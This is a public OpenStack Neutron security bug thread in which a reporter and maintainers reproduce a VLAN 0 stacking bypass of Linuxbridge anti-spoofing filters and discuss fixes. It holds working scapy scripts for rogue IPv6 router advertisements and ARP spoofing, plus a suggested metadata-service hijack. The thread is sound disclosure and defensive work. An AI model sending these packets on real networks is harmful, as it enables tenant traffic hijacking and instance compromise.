Anti-spoofing bypass

[Etienne CHAMPETIER]

Hello OpenStack Team,

Looking at the neutron code I believe OpenStack to be vulnerable to VLAN0 stacking when using iptables + ebtables (bridge only, not OVS).
I was not able to validate this issue on an OpenStack deployment (I tried to setup microstack but was unable to connect to the VMs ...)

VLAN 0 or priority tagging allow to add 802.1p class of service information to a packet.
When received by a linux machine (I haven't checked Windows or other OS behavior) the VLAN header with VID=0 is removed and the packet processed as if there was no VLAN header (It actually loop until there is no VLAN 0 headers left).

Now Linux bridge firewall (net.bridge.bridge-nf-call-*tables) handles the packets normally, ie a packet with a VLAN header will not match any ip*tables rules on the forward path, which is expected.
When enabling net.bridge.bridge-nf-filter-vlan-tagged=1, it will go look into the first VLAN header, but not deeper.

Using this simple scapy script:
```
ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('enp1s0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)
```

We send an IPv6 router advertisement stacked on top of 2 VLAN 0 headers
This bypass any ip6tables rules, and looking at the usage of ebtables in neutron it should go thru as it's not ARP (I only see ebtables used in arp_protect.py and matching ARP protocol)
When received by a neighboor Linux VMs it's accepted.

This same attack should allow DHCP, ARP or any traffic spoofing.
(We might be able to use NFQUEUE to had VLAN 0 headers to all our egress packets to bypass MAC/IP checks)

I've seen some system actually use VLAN 0 tagged packets by default (Cisco UCS) so a possible fix is to allow 1 level of VLAN 0 and enable net.bridge.bridge-nf-filter-vlan-tagged=1

In my tests Linux 'removes' both Dot1Q(vlan=0) and Dot1AD(vlan=0).
(for example this is accepted by Linux: 'Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0)')

I wasn't able to find any reference to VLAN 0 attacks searching on Google, so this might affect other OSS projects (I need to check LXC at least, maybe some K8S CNI)

All my tests were performed with a Fedora 32 host (Linux 5.6) running 2 ubuntu 20.04 VM, and using scapy 2.4.3.

Best
Etienne Champetier

[Etienne CHAMPETIER (champtar)]

(I was not sure if the title is public)

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

[Etienne CHAMPETIER (champtar)]

I reported the same issue to LXD team and they should push a fix today (drop everything that is not arp/ip/ip6). They will keep the security details under embargo until you are ready (or say that you are not affected).

For the severity, I believe that using DHCP spoofing, you should be able to impersonate the metadata service at http://169.254.169.254 and inject your ssh keys in other instances on boot.

[Slawek Kaplonski (slaweq)]

Hi Etienne,

Is my understanding correct that You are using Neutron ML2 with Linuxbridge driver and that is the vulnerable backend?

[Etienne CHAMPETIER (champtar)]

Hi Slawek,

I was not able to test it on an OpenStack deployment,
but yes from reading the code Neutron ML2 with Linuxbridge driver is using iptables bridge firewall + ebtables rules. Using VLAN 0 you completely bypass iptables rules (on the bridge forward path), and ebtables rules are only looking at ARP.

You can easily confirm it using the small scapy script provided

[Etienne CHAMPETIER (champtar)]

Some high level repro steps:
launch 2 ubuntu 20.04 vms on the same host (host using Neutron ML2 with Linuxbridge driver)
on the first VM (victim), run
~~~~~~~~~~
ip monitor
~~~~~~~~~~

on the second VM (attacker), run
~~~~~~~~~~
apt update && apt install -y scapy
scapy
~~~~~~~~~~

Send a normal router advertisement, it should be blocked:
~~~~~~~~~~
ra = Ether()
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)
~~~~~~~~~~

Send a router advertisement with VLAN 0 headers, if it goes through this confirm the issue
~~~~~~~~~~
ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)
~~~~~~~~~~

Please also check OVS, I haven't looked at it

[Slawek Kaplonski (slaweq)]

I did test today with vlan and flat network types.

I created 2 VMs plugged to that network. On vm1 I started scapy and run commands described in comment above. On second vm (both on same node as I used all-in-one devstack) I run "ip monitor".
I wasn't able to reproduce that issue. I saw events like:

2: ens3 inet6 fde7:eb1e:8c59:0:f816:3eff:fefe:e8d9/64 scope global dynamic mngtmpaddr noprefixroute
       valid_lft 86400sec preferred_lft 14400sec

on vm2 only when I disabled port-security on ports which belongs to both vms. Otherwise I didn't saw those packets going on to the vm2.

If disabling port security is the required step to reproduce that issue than I would say that it's not a bug really. It is IMO working as intended.

Please provide me more detailed steps how to reproduce that issue. Maybe You can provide simple script to create necessary environment, like creation of networks, vms, etc.

[Etienne CHAMPETIER (champtar)]

Hi Slavek,

I tried to setup an Openstack with MicroStack but it failed, I'll try with all-in-one devstack later

[Brian Haley (brian-haley)]

You also mentioned DHCP spoofing, do you have any proof that is happening? We have rules in place to prevent that and have not seen any other security audit identifying this as an issue.

[Jeremy Stanley (fungi)]

Brian: I gather the theory is that by encapsulating the spoofed datagram's frame within one or more 802.1q layers setting VLAN=0, the source MAC filtering applied at layer 2 with ebtables can be bypassed (assuming VLAN trunks are allowed to the instance at all).

More generally, I do think that if neither the reporter nor the project's developers are successful at reproducing this theoretical exploit, we should consider switching the bug to Public immediately (or at least as soon as LXD and any other communities where actual exploits have been found for this are also publicly acknowledging it).

[Etienne CHAMPETIER (champtar)]

I do this on my personal time (not my day job at all) so give me a bit of time to exploit it (or not ;) )
Please also wait for LXD releases

[Jeremy Stanley (fungi)]

Etienne: Yes, of course, I didn't intend to rush you. I simply meant that if we reach a point where neither you nor Slawek/Brian are able to confirm a practical exploit scenario, we should go ahead and switch this report to public (so long as doing so won't prematurely expose exploitability for LXD), to get broader input from our community in case there really is a viable path to exploit this which we're overlooking.

[Etienne CHAMPETIER (champtar)]

Slavek, you confirm you were using linuxbridge agent, and more importantly iptables firewall (not OVS firewall) ?

I tried to deploy multiple time devstack with the linuxbridge local.conf in the docs:
https://docs.openstack.org/devstack/latest/guides/neutron.html#using-linux-bridge-instead-of-open-vswitch
And it fails trying to exec ovs-vsctl
https://github.com/openstack/devstack/blob/master/lib/neutron-legacy#L612
After patching out those line the bridge is still not properly configured, so I'll try to deploy something else than master tomorrow (on a new VM)

If you do have a setup with iptables firewall, could I have the output of {eb,ip,ip6}tables-save with at least a VM running with port security

[Brian Haley (brian-haley)]

Etienne,

I don't know why those instructions didn't work, they might be out of date. The only thing you should need to do is:

$ cd devstack
$ cp samples/local.conf .

Then edit local.conf adding this line:

Q_AGENT=linuxbridge

The OVS firewall isn't supported with Linuxbridge so something is getting configured wrong for you.

Here's the output of those commands with one instance running:

# Generated by ebtables-save v1.0 on Wed Jun 24 14:47:29 EDT 2020
*broute
:BROUTING ACCEPT

*nat
:PREROUTING ACCEPT
:OUTPUT ACCEPT
:POSTROUTING ACCEPT
:neutronMAC-tap4d964d27-f1 DROP
:neutronARP-tap4d964d27-f1 DROP
-A PREROUTING -i tap4d964d27-f1 -j neutronMAC-tap4d964d27-f1
-A PREROUTING -p ARP -i tap4d964d27-f1 -j neutronARP-tap4d964d27-f1
-A neutronMAC-tap4d964d27-f1 -i tap4d964d27-f1 --among-src fa:16:3e:fc:11:5d, -j RETURN
-A neutronARP-tap4d964d27-f1 -p ARP --arp-ip-src 10.0.0.52 -j ACCEPT

*filter
:INPUT ACCEPT
:FORWARD ACCEPT
:OUTPUT ACCEPT

# Generated by iptables-save v1.6.1 on Wed Jun 24 14:48:14 2020
*raw
:PREROUTING ACCEPT [44786:17706194]
:OUTPUT ACCEPT [43058:17506872]
:neutron-linuxbri-OUTPUT - [0:0]
:neutron-linuxbri-PREROUTING - [0:0]
-A PREROUTING -j neutron-linuxbri-PREROUTING
-A OUTPUT -j neutron-linuxbri-OUTPUT
-A neutron-linuxbri-PREROUTING -m physdev --physdev-in brqfaa76863-64 -m comment --comment "Set zone for d964d27-f1" -j CT --zone 4097
-A neutron-linuxbri-PREROUTING -i brqfaa76863-64 -m comment --comment "Set zone for d964d27-f1" -j CT --zone 4097
-A neutron-linuxbri-PREROUTING -m physdev --physdev-in tap4d964d27-f1 -m comment --comment "Set zone for d964d27-f1" -j CT --zone 4097
COMMIT
# Completed on Wed Jun 24 14:48:14 2020
# Generated by iptables-save v1.6.1 on Wed Jun 24 14:48:14 2020
*mangle
:PREROUTING ACCEPT [2917433:882107232]
:INPUT ACCEPT [2917028:882034866]
:FORWARD ACCEPT [194:18278]
:OUTPUT ACCEPT [2804721:860994909]
:POSTROUTING ACCEPT [2805020:861023798]
-A POSTROUTING -o virbr0 -p udp -m udp --dport 68 -j CHECKSUM --checksum-fill
COMMIT
# Completed on Wed Jun 24 14:48:14 2020
# Generated by iptables-save v1.6.1 on Wed Jun 24 14:48:14 2020
*nat
:PREROUTING ACCEPT [63212:5609172]
:INPUT ACCEPT [62969:5550870]
:OUTPUT ACCEPT [8666:687238]
:POSTROUTING ACCEPT [8692:689476]
-A POSTROUTING -s 192.168.122.0/24 -d 224.0.0.0/24 -j RETURN
-A POSTROUTING -s 192.168.122.0/24 -d 255.255.255.255/32 -j RETURN
-A POSTROUTING -s 192.168.122.0/24 ! -d 192.168.122.0/24 -p tcp -j MASQUERADE --to-ports 1024-65535
-A POSTROUTING -s 192.168.122.0/24 ! -d 192.168.122.0/24 -p udp -j MASQUERADE --to-ports 1024-65535
-A POSTROUTING -s 192.168.122.0/24 ! -d 192.168.122.0/24 -j MASQUERADE
-A POSTROUTING -s 172.24.4.0/24 -o enp0s3 -j MASQUERADE
COMMIT
# Completed on Wed Jun 24 14:48:14 2020
# Generated by iptables-save v1.6.1 on Wed Jun 24 14:48:14 2020
*filter
:INPUT ACCEPT [44633:17691259]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [43095:17511784]
:neutron-filter-top - [0:0]
:neutron-linuxbri-FORWARD - [0:0]
:neutron-linuxbri-INPUT - [0:0]
:neutron-linuxbri-OUTPUT - [0:0]
:neutron-linuxbri-i4d964d27-f - [0:0]
:neutron-linuxbri-local - [0:0]
:neutron-linuxbri-o4d964d27-f - [0:0]
:neutron-linuxbri-s4d964d27-f - [0:0]
:neutron-linuxbri-sg-cha...

[Etienne CHAMPETIER (champtar)]

Thanks Brian,
as you have a working bridge setup, can you create a second VM (preferably ubuntu 20.04 to have a recent scapy) and run my scapy script on it ? And if it's not working play with "tcpdump -nnpe -i tapXYZ not port 22" to try to understand where it stops.

The idea is pretty simple, the packets start with 2 VLAN 0 headers, thus the ebtables rules apply, but none of the {ip,ip6}tables rules apply (even with bridge-nf-filter-vlan-tagged=1), as it's a VLAN packet after all. Net net we cannot spoof our source MAC, everything else is allowed inside the VLAN 0 headers.

Except if there is a special setting that I missed, the bridge should let this VLAN 0 packet go to the other VM, and the Linux VM on the INPUT path will happily strip the VLAN 0 headers.

If it's not working maybe show me
cat /sys/devices/virtual/net/*/bridge/vlan_filtering
bridge vlan show

Thanks
Etienne

[Slawek Kaplonski (slaweq)]

Hi Etienne,

I did tests which You asked for. Here are the results. I used Your scapy script to send packet from my vm1 to vm2.
On tapXXX which belongs to the vm1 I see:

22:49:29.779441 fa:16:3e:fe:ff:f2 > 33:33:00:00:00:01, ethertype 802.1Q (0x8100), length 118: vlan 0, p 0, ethertype 802.1Q, vlan 0, p 0, ethertype IPv6, fe80::f816:3eff:fefe:fff2 > ff02::1: ICMP6, router advertisement, length 56

But I don't see it on any other interface, nor VM2.

sysctl settings which You are asking for:

sudo cat /sys/devices/virtual/net/*/bridge/vlan_filtering
0
0
0
0
0
0

[Slawek Kaplonski (slaweq)]

At http://paste.openstack.org/show/795180/ there are my iptables and ebtables rules from this host also.

[Etienne CHAMPETIER (champtar)]

Hi Slavek,
Thanks again for your tests.

I see some reference to vxlan in your sysctls, you confirm that the tap interfaces are in the same bridge ?
Also is it a normal bridge or an ovs bridge ? (not sure what commands to use, maybe "ovs-vsctl show")

Some more commands
ebtables-save
ip l
bridge vlan show
ovs-vsctl show

Also can you test with `ra = Ether()/Dot1AD(vlan=0)/Dot1AD(vlan=0)` ?

I need to understand why it's not going through the bridge, because I don't see any major differences with LXD for now, and LXD was definitely vulnerable.

[Slawek Kaplonski (slaweq)]

Hi,

Both ports are from same network so are plugged to the same bridge. It is "Linux bridge" as in this setup I don't use ovs at all.
Results of commands which You are asking I can provide You tomorrow.

Data which You asked for is here: http://paste.openstack.org/show/795232/

And here: http://paste.openstack.org/show/795233/ is my local.conf file from devstack if You would like to deploy it on Your own :)

[Etienne CHAMPETIER (champtar)]

Thanks a lot Slawek !!!

I think scapy just doesn't pick the right mac :)
Ebtables checks for tapc160b849-bf == fa:16:3e:e5:71:f5
But in tcpdump tapc160b849-bf the source mac is fa:16:3e:fe:ff:f2 (ie the other interface)

Can you in the scapy script either force the mac or the interface
ie
Ether(src="fa:16:3e:e5:71:f5")
or
sendp(ra, iface="ethX")

[Etienne CHAMPETIER (champtar)]

Cleaner example:

ifname='ens7'
ra = Ether(src=get_if_hwaddr(ifname))/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(ifname))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra, iface=ifname)

[Slawek Kaplonski (slaweq)]

Hi Etienne,

In this last case I indeed can see this RA packets on both tap interfaces on host. But (I don't know why) I can't see it inside vm2 (destination) on ens7.

[Etienne CHAMPETIER (champtar)]

Is ipv6 disabled on ens7 ?
"tcpdump -nne ens7" ?
In my example tcpdump I have '-p', ie not promiscuous

[Etienne CHAMPETIER (champtar)]

You should be able to mess with ARP also

ifname='ens7'
spoofip='10.20.0.1'
victimmac='ff:ff:ff:ff:ff:ff'
selfmac=get_if_hwaddr(ifname)
eth = Ether(src=selfmac, dst=victimmac)/Dot1Q(vlan=0)/Dot1Q(vlan=0)
arp1 = ARP(op='who-has', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip)
sendp(eth/arp1, iface=ifname)
arp2 = ARP(op='is-at', hwsrc=selfmac, psrc=spoofip, hwdst=victimmac, pdst=spoofip)
sendp(eth/arp2, iface=ifname)

[Etienne CHAMPETIER (champtar)]

Hi Slawek,

Did you had a chance to make it work ?

The fact that you see it on both tap interfaces confirms the iptables rules bypass,
now maybe the VMs filter out VLAN 0 depending on the interface type used, or ipv6 is disabled on the iface and you were using 'tcpdump -p', ie non promiscuous mode, thus the RA multicast traffic was not shown.

In my simple test (not OpenStack, just qemu/kvm) I'm using fedora 32 host, ubuntu 20.04 guest and virtio nics.

[Slawek Kaplonski (slaweq)]

Hi,

I was checking that with ARPs also and I still can see packets on tap interfaces on host but not inside vm2.
I checked with tcpdump spawned like:

tcpdump -i any -npe not port 22

[Etienne CHAMPETIER (champtar)]

Can you try to remove the 'p', and put the interface (ens7 ??)

tcpdump -i ens7 -nne not port 22

[Etienne CHAMPETIER (champtar)]

man tcpdump
"Note that captures on the ``any'' device will not be done in promiscuous mode."

could you give me "ip a" inside the "victim" VM

[Slawek Kaplonski (slaweq)]

I can confirm now that it is visible now on the victim VM.
To summarize:

- the issue can happen when using ML2/Linuxbridge backend between vms on the same neutron network and on the same compute node. VMs on different compute nodes can't be attacked - is my understanding correct?

- we will need to check if ML2/OVS with iptables_hybrid driver would be affected - I don't think as OVS is tagging packets with some "internal" vlan id in the meantime and strips it later before it comes to the dest vm. But we should check that to be sure.

[Etienne CHAMPETIER (champtar)]

Hi Slawek

Thanks for all your testing.

I still haven't setup an all in one OpenStack, so not sure exactly how the networking between multiple nodes works ;), but here is my sumup:

There is basically 2 steps:
1) bypass the filtering rules at the output of the VM, once that is done there is no more checks
2) have our VLAN packet switched to the victim, we know that the normal linux bridge let VLAN 0 tagged packet go through, depending on your hardware switch model/configuration it might let the packet go through
(my understanding is that bridge like brq9d2f6d56-79 would have the VMs interfaces + the physical interfaces)

Also some switch will strip the native VLAN, ie you send a packet with VLAN 42 header, it bypass the filtering rules, exits the compute node, the switch strips the header because VLAN 42 is the native VLAN, sends it to another compute node, enjoy

=> I would not rule out attacks on VMs on different compute nodes too fast, if it's the same L2, it can work in some conditions IMO.

For ML2/OVS with iptables_hybrid driver, the filtering is based on ebtables/iptables, so with VLAN0 the filtering is now only based on ebtables, so we have step 1.
For step 2 I never used OVS, so here some interrogations
- does it strip VLAN 0 ? (that would help the attack)
- does it block VLAN tagged packets by default ?
- what does it do with multiple headers ?

If you do more testing, remember that you can put and arbitrary number of VLAN 0 headers, 802.1q or 802.1ad
Ether()/Dot1AD(vlan=0)/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1AD(vlan=0)

The best fix is to only allow arp/ip4/ip6 in ebtables and drop everything else, but that might not be acceptable for OpenStack (that's what LXD is doing now).
Dropping Dot1AD(vlan=0) and Dot1Q(vlan=0) in ebtables might not be enough (see native VLAN stripping by the switch) so I would go to full Dot1AD/Dot1Q drop at least.

[Etienne CHAMPETIER (champtar)]

This issue seems stale, I know I'll not have time to do any testing in the coming month (end of the embargo is in 1 month), but don't hesitate if you have any questions

[Jeremy Stanley (fungi)]

If nobody's got time to sort out a solution for this bug, we should probably just make it public and see if anyone in our broader contributor community feels like prioritizing work on a fix.

[Etienne CHAMPETIER (champtar)]

Once it's public I'll send an email to Linux netdev to see if they think they can/should add vlan 0 stripping on the bridge firewalling path

[Slawek Kaplonski (slaweq)]

I think that making this public will be the best solution. We don't have many linuxbridge driver maintainers in neutron team currently so it's hard to find someone who can try to fix that issue.

[Jeremy Stanley (fungi)]

Thanks Slawek, I've switched this to a Public Security report now. I'll also put it on the agenda for today's OpenStack Security SIG meeting so we can get the word out that this could use some extra help.

Etienne: you should feel free to bring it up with Linux NetDev folks now, maybe we'll also get some ideas from them on best ways to mitigate the risk here. Thanks so much for reporting this, and for your patience.

[Etienne CHAMPETIER (champtar)]

It was reported on August 20 to the netdev mailing list but it didn't get any response
https://lore.kernel<email address hidden>/

[Jeremy Stanley (fungi)]

It's unfortunate this isn't getting more traction in the kernel community. I'm not at all familiar with the LXC codebase, but the PR you linked from your ML post seems to indicate that the fix on their side was to just start dropping QinQ frames. Is that an accurate characterization?

[Etienne CHAMPETIER (champtar)]

They where already blocking 802.1Q (so also QinQ), but instead of denying some more protocol and playing whack a mole, they now allow only ARP / IPv4 / IPv6, so if there is another fun type of packet like vlan0 they are already safe, and some other attack with exotic protocol.

[Jeremy Stanley (fungi)]

I wonder if it would be wise, in the Wallaby release for the Linuxbridge driver and onward (not backported to old releases/stable branches), to just start blocking any VLAN-tagged frames to/from guest instances by default and require the operator to enable it if they need that. I know we have plenty of deployments where folks want to deliver VLAN trunks to server instances, especially for NFV use cases, but I sort of expect they're not using Linuxbridge for that to begin with... thoughts anyone?

[Slawek Kaplonski (slaweq)]

Potentially we could block such traffic for all networks except networks with enabled vlan_transparency (and I don't really know how trunks works with Linuxbridge driver so that's something to check also).

[Etienne CHAMPETIER (champtar)]

If you do anything, please allow legitimate traffic, ie ARP / IPv4 / IPv6, and drop anything else, do not try to block just 802.1q and 802.1ad (allowlist > denylist)

[Jeremy Stanley (fungi)]

There was a fix along those lines proposed for bug 1838473, but it keeps getting abandoned due to inactivity.